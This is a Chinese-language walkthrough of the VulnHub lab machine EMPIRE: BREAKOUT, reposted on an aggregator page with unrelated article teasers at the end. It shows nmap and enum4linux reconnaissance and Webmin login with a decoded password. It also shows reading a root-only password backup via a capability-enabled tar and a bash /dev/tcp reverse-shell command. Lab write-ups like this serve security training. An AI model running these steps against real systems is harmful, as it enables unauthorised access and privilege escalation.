vulnhub靶场之EMPIRE:BREAKOUT

一.环境搭建

1.靶场描述

Description
Back to the Top
Difficulty: Easy
This box was created to be an Easy box, but it can be Medium if you get lost.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
 

2.靶场地址

https://www.vulnhub.com/entry/empire-breakout,751
 

image-20240115202624114

3.启动靶场

image-20240115202638120

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240115202948264

arp-scan -l
 

image-20240115203526580

靶场真实ip地址为192.168.52.134

(2)探测端口及服务

nmap -A -v -p- 192.168.52.134
 

image-20240115203205199

这里我们不使用这个命令,这个命令看起来太麻烦了,我们使用另一个命令,更加直观

nmap -p- -sV 192.168.52.134
 

image-20240115203444747

发现开启了80端口,APache httpd 2.4.51((Debian))
发现开启了139,445端口,Samba smbd 4.6.2
发现开启了10000,20000端口, MiniServ 1.830 (Webmin httpd)
 

也可以使用masscan进行探测

image-20240115203636268

(3)web指纹识别

whatweb -v 192.168.52.134
 

image-20240115204012504

3.渗透测试

(1)访问web服务

http://192.168.52.134
 

image-20240115204153015

是一个apache2页面,我们查看源码,可以看到一个加密的过后的字符串,我们进行解密

image-20240115204250195

image-20240115205820955

.2uqPEfj3D<P'a-3
 

这应该是一个密码,先记录下来,接着我们继续查看另外两个网站

10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的

image-20240115204936324

image-20240115204954830

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.134
 

image-20240115204419404

没有有用的信息

2)nikto扫描网站结构
nikto -h http://192.168.52.134
 

image-20240115204742223

image-20240115204808713

但是没有什么用

3)dirsearch目录扫描
dirsearch -u 192.168.52.133 -e * -x 403 --random-agent
 

image-20240115205327708

没有任何信息

(3)渗透测试

1)enum4linux 收集用户

我们已经有了用户的密码,所以我们要着手寻找用户名了,由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息, 使用命令enum4linux可以收集大量的信息

Enum4linux 是一个用于枚举和收集信息的开源工具,特别是在Windows环境下进行。它设计用于与SMB/CIFS(Server Message Block/Common Internet File System)协议交互,该协议通常用于在Windows网络中共享文件和打印机。
以下是 Enum4linux 的主要功能:
用户和组枚举: Enum4linux 可以列出目标系统上的用户和组,包括一些敏感信息,如用户ID(UID)、组ID(GID)、用户描述等。
共享枚举: 它可以枚举目标系统上的共享资源,包括共享名称、共享路径和共享类型。
策略枚举: 工具可以提取目标系统的安全策略信息,包括密码策略和帐户锁定策略。
会话和会话枚举: 它可以列举活动会话,显示与系统相关的用户信息。
操作系统版本信息: Enum4linux 试图识别目标系统的操作系统版本。

enum4linux 192.168.52.134
 

image-20240115210318907

获得了一个用户名cyber

2)登录用户名

登录一下20000端口,登录进去一看,发现左下角有一个终端的图标,点进去之后就可以运行命令了

image-20240115210853717

image-20240115210944182

我们可以找到第一个flag

(4)提权

我们查看权限,不是root权限,我们进行提权

image-20240115211201249

我们先反弹shell

image-20240115211424046

image-20240115211412338

我们可以看到反弹成功

除了user.txt,还发现一个 tar 文件,查看一下文件的相关属性

image-20240115211811673

突然给这么一个可运行文件肯定是有深意的,我们看一下这个文件拥有的权限是什么

getcap tar
 

image-20240115212155675

getcap是一个Linux命令,用于获取文件的能力(capabilities)信息。在Linux中,能力是一种粒度更细的权限系统,用于授予进程执行特定操作的权限,而不是传统的用户和组权限模型。

发现有 cap_dac_read_search=ep 功能,能读取文件,发现它是可以读取任意文件的,有关linux setcap命令的信息,查看下面链接

https://www.cnblogs.com/iamfy/archive/2012/09/20/2694977.html
 

后来在 /var/backups 目录下发现了一个密码备份文件:

image-20240115212857546

其实如果我们想在kali里面寻找文件,我们可以使用如下命令

find -name "*bak*"
 

image-20240115213621962

只能由root用户读取,不过之前发现 tar 可以读取任意文件,那就用 tar 读取文件

tar tar -tvf archive.tar

image-20240115213856570

我们用tar把它打包之后再解压出来,就没有权限问题了

./tar -cvf MS02423.tar /var/backups/.old_pass.baktar -xvf MS02423.tar
 

image-20240115215554730

cat之后获得了root密码

image-20240115215623797

我们登录root,但是发现这里有bug

image-20240115220415090

那么我们就反弹shell

image-20240115222410774

bash -i >& /dev/tcp/192.168.52.152/666666 0>&1
 

image-20240115220344317

可反弹成功,在此登录root就可以看到最终的flag了

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.dirsearch目录扫描

9.enum4linux 工具的使用

10.kali反弹shell

11.tar

12.getcap

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/654989.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qt程序设计-延时函数

本文讲解Qt延时函数的实现。 实现延时函数有几种办法,分为阻塞型和非阻塞 阻塞型:在延时期间,本线程的事件循环得不到执行。 1、阻塞型 QThread类的sleep() 除了sleep(n)还有msleep(n)、usleep(n)。 缺点:GUI会在延时的时间段内失去响应,界面卡死,所以,这三个函数…

备战蓝桥杯---数据结构与STL应用(入门1)

话不多说&#xff0c;直接看题&#xff1a; 下面为分析&#xff1a;显然&#xff0c;我们要先合并最小的两堆&#xff08;因为他们在后边也得被计算&#xff0c;换句话&#xff0c;我们独立的看&#xff0c;某一堆的体力值为他自己重量*从现在到最后的次数&#xff09; 因此&a…

Ubuntu 22.04安装Nginx负载均衡

君衍. 一、编译安装Nginx二、轮询算法实现负载均衡三、加权轮询算法实现负载均衡四、ip_hash实现负载均衡 一、编译安装Nginx 这里我们先将环境准备好&#xff0c;我使用的是Ubuntu22.04操作系统&#xff1a; 这个是我刚安装好的&#xff0c;所以首先我们进行保存快照防止安装…

为什么说linux操作系统要比windows稳定?

为什么说linux操作系统要比windows稳定&#xff1f; 在开始前我分享下我的经历&#xff0c;刚入行时遇到一个好公司和师父&#xff0c;给了我机会&#xff0c;两年时间从3k薪资涨到18k的&#xff0c; 我师父给了一些linux学习方法和资料&#xff0c;让我不断提升自己&#xff…

【机器学习】欠拟合与过拟合

过拟合&#xff1a;模型在训练数据上表现良好对不可见数据的泛化能力差。 欠拟合&#xff1a;模型在训练数据和不可见数据上泛化能力都很差。 欠拟合常见解决办法&#xff1a; &#xff08;1&#xff09;增加新特征&#xff0c;可以考虑加入特征组合、高次特征&#xff0c;以…

Qt Design Studio+Pyside项目

Qt Design Studio设计出的项目结构有多个层级的目录&#xff0c;我们直接用类似Qt Creator工具的方式加载main.qml文件时会报错提示module "content" is not installed&#xff0c;将content加入importPath后还是报同样的错误。 Qt Design Studio生成的文件包含了.qm…

【Docker】数据持久化 挂载

Docker的镜像是只读的&#xff0c;但是容器是可写的&#xff0c;我们可以将数据写入到容器&#xff0c;不过一旦容器删除数据将会丢 失&#xff0c;那么有什么办法能将数据进行持久化存储呢&#xff1f; ——在宿主机上开辟一块地方&#xff0c;存储内容和docker容器的存储内…

CSS响应式设计学习

一. CSS响应式设计是一种使网站在不同设备上能够自适应的技术。我们可以通过以下步骤进行学习&#xff1a; 掌握CSS布局&#xff1a;多数情况下&#xff0c;响应式设计都需要一定程度的布局技巧。需要我们熟悉CSS中的布局属性&#xff0c;如display、position、float等。学习媒…

低代码平台:业务开发“加速器”

一、现状 低代码开发平台要让每个人&#xff0c;包括开发者和普通业务人员&#xff0c;都能够成为企业数字化过程中的主导者和构建者&#xff01;让普通人更容易上手&#xff01; 基于这一目标&#xff0c;应用需求多的云服务商成为低代码投资的主要来源。一家云服务商如谷歌云…

AJAX的原理(重点)

◆ XMLHttpRequest 什么是XMLHttpRequest&#xff1f; 定义&#xff1a; 关系&#xff1a;axios 内部采用 XMLHttpRequest 与服务器交互 注意&#xff1a;直白点说就是axios内部就是封装了XMLHttpRequest这个对象来实现发送异步请求的 使用 XMLHttpRequest 步骤&#xff1a…

C# 实现 gRPC 服务和调用

写在前面 gRPC 是一种与语言无关的高性能远程过程调用 (RPC) 框架。 主要优点如下&#xff1a; 1.高性能轻量化。 2.协议优先的 API 定义模式&#xff0c;默认使用协议缓冲区&#xff0c;允许与语言无关的实现。 3.可用于多种语言的工具&#xff0c;以生成强类型服务器和客户…

项目解决方案:市小区高清视频监控平台联网整合设计方案(上)

目 录 一、项目需求 1.1业务需求 1.2技术需求 1.3 环境要求 1.3.1 硬件要求 1.3.2 技术服务要求 二、系统设计方案 2.1 视频监控平台基础功能设计 2.2 视频资源及联网设备编码与管理设计 2.2.1 全省现有联网视频资源属性 2.2.2 视频资源编码具体格…

Spring IoC容器(一)

IoC,Inversion of Control 控制反转&#xff0c;是一个过程。仅通过构造函数、工厂方法或在对象实例化后在对象实例上设置属性来定义其依赖关系。容器负责这些工作&#xff0c;这个过程从本质上来说是bean本身的反向&#xff0c;因此称为反向控制。 1 容器 负责实例化、配置及…

C语言入门(二)、每日Linux(三)——gcc命令,通过gcc命令熟悉C语言程序实现的过程

使用gcc编译C语言程序 C语言程序实现的过程gcc命令基础用法常用选项编译和汇编选项&#xff1a;优化选项&#xff1a;调试选项&#xff1a;链接选项&#xff1a;警告选项&#xff1a; 实验对于-o选项 通过gcc命令熟悉C语言程序的执行过程1.预处理2.编译阶段3.汇编阶段4.链接阶段…

牛客周赛round30D题讲解(公式推导)

写的时候题目理解错了(*/ω&#xff3c;*) 登录—专业IT笔试面试备考平台_牛客网 #include <bits/stdc.h>using ll long long;int main(){std::ios::sync_with_stdio(false);std::cin.tie(nullptr);ll x, y, l, r;std::cin >> x >> y >> l >>…

Day 34 | 贪心 1005.K次取反后最大化的数组和 、 134. 加油站、 135. 分发糖果

1005.K次取反后最大化的数组和 题目 文章讲解 视频讲解 思路&#xff1a;要按照绝对值大小进行排序&#xff0c;负数转换后还不到k个选择最小值不断反转 class Solution {public int largestSumAfterKNegations(int[] nums, int k) {nums IntStream.of(nums).boxed().sorte…

大白话解析LevelDB 4: 查找一个 Key

文章目录 查询一个 Key查找 Key 的入口: DBImpl::Get(const ReadOptions& options, const Slice& key, std::string* value)从 MemTable 中查找从 Immutable MemTable 中查找从 SST 中查找 查询一个 Key 查找 Key 的入口: DBImpl::Get(const ReadOptions& options…

Python爬虫---scrapy的post请求

爬虫文件&#xff1a; import scrapyclass TestpostSpider(scrapy.Spider):name "testpost"allowed_domains ["fanyi.baidu.com"]# post 请求如果没有参数&#xff0c;那么这个请求将没有任何意义&#xff0c;所以start_urls也没有用了&#xff0c;pars…

Mysql 索引优化

Mysql 索引优化 mysql如何选择使用索引。 select *from user where username a and password b如果useranme和password都是普通索引&#xff0c;那么他们会把2个索引都查出来&#xff0c;然后在把他们的交集拿出来 如果username是唯一索引&#xff0c;password是普通索引&…

探究React中的非受控组件:自由而简便的表单处理

探究React中的非受控组件&#xff1a;自由而简便的表单处理 在React中&#xff0c;我们常听到"受控组件"的概念&#xff0c;但同样存在一种自由度更高、处理简便的形式——非受控组件。本文将深入介绍非受控组件的使用&#xff0c;通过代码片段中的登录表单实例&…